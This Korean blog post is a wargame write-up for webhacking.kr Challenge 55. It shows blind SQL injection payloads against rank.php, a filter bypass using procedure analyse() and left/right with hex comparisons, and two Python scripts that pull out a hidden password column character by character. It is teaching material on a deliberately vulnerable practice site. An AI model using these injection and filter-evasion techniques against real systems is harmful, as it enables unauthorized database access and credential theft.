티스토리 뷰

Wargame/Webhacking.kr

Challenge 55

do9dark 2015. 9. 6. 22:26

크롬에서는 동작하지 않지만 IE에서는 초록색 물컹이가 마우스 포인터를 잡으러 따라온다.

rank를 눌러보면 다른 사람의 점수를 볼 수 있다.



score 점수가 2147483647

int 형(32 비트) 최대값이다.




마지막에 small letter 이라는 표시가 있다.

다른 정보를 알아보기 위해서 소스를 보면 hint가 나와있다.



테이블에 대한 정보가 힌트로 나와있다.(ip는 id와 같고, score, password가 있다.)



점수를 클릭해보면 id // score 가 표시가 된다.



or 또는 || 를 이용해서 항상 참으로 만들어주면 id에 localhost가 표시된다.

조건이 거짓이 될 경우 score에 해당하는 id가 표시된다.

즉, 이를 이용해서 SQL Injection을 할 수 있다.

하지만, union, select 등을 이용할 경우 no hack이 표시되면서 공격을 할 수가 없다.


우회를 하기 위해서 procedure analyse() 함수를 이용해서 테이블과 컬럼의 이름을 알아낸 다음 비교를 통해서 Blind SQL Injectio을 하였다.



다른 컬럼의 이름을 알아내기 위해서 limit를 이용하였다.





테이블명: challenge55_game

컬럼명: ip, score, pAsSw0RdzzzZ 


Blid SQL Injection 은 파이썬으로 스크립트를 작성해서 공격하였다.


pAsSw0RdzzzZ의 값은 20글자

http://webhacking.kr/challenge/web/web-31/rank.php?score=1||length(pAsSw0RdzzzZ)=20


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
 
for i in range(0,30):
    url = "/challenge/web/web-31/rank.php?score=1||length(pAsSw0RdzzzZ)=" + str(i)
    cookie = {'Cookie':'PHPSESSID=uog266eh379lpm3364v745rdr0'}
 
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('GET',url,'',cookie)
    data = conn.getresponse().read()
    conn.close()
 
    # print data
    if(data.find('localhost'!= -1):
        print "Found: %d" % i
        break
cs


substr(), char(), hex(), ascii()를 사용할 경우 no hack이 발생한다. 따라서 left(), right()를 가지고 substr() 대체하여 0x(hex) 값과 비교하여 우회하였다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import string
 
strings = string.lowercase + string.digits + "~!"
pAsSw0RdzzzZ = ''
 
for i in range(1,21):
    for j in strings:
        url = "/challenge/web/web-31/rank.php?score=1||right(left(pAsSw0RdzzzZ," + str(i) + "),1)=" + hex(ord(j))
        cookie = {'Cookie':'PHPSESSID=uog266eh379lpm3364v745rdr0'}
 
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('GET',url,'',cookie)
        data = conn.getresponse().read()
        conn.close()
 
        # print data
        if(data.find('localhost'!= -1):
            pAsSw0RdzzzZ += j
            # print "%d: %c" % (i, j)
            print "{}: {}".format(i,j)
            break
print 'pAsSw0RdzzzZ: ' + pAsSw0RdzzzZ
cs



패스워드 값을 인증하면 문제를 풀 수 있다.





'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 60  (0) 2015.09.10
Challenge 59  (0) 2015.09.10
Challenge 58  (0) 2015.09.09
Challenge 57  (0) 2015.09.08
Challenge 56  (0) 2015.09.07
Challenge 54  (0) 2015.09.06
Challenge 53  (0) 2015.09.06
Challenge 52  (0) 2015.09.06
Challenge 51  (0) 2015.09.05
Challenge 50  (0) 2015.09.05
댓글
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
링크
공지사항
Total
Today
Yesterday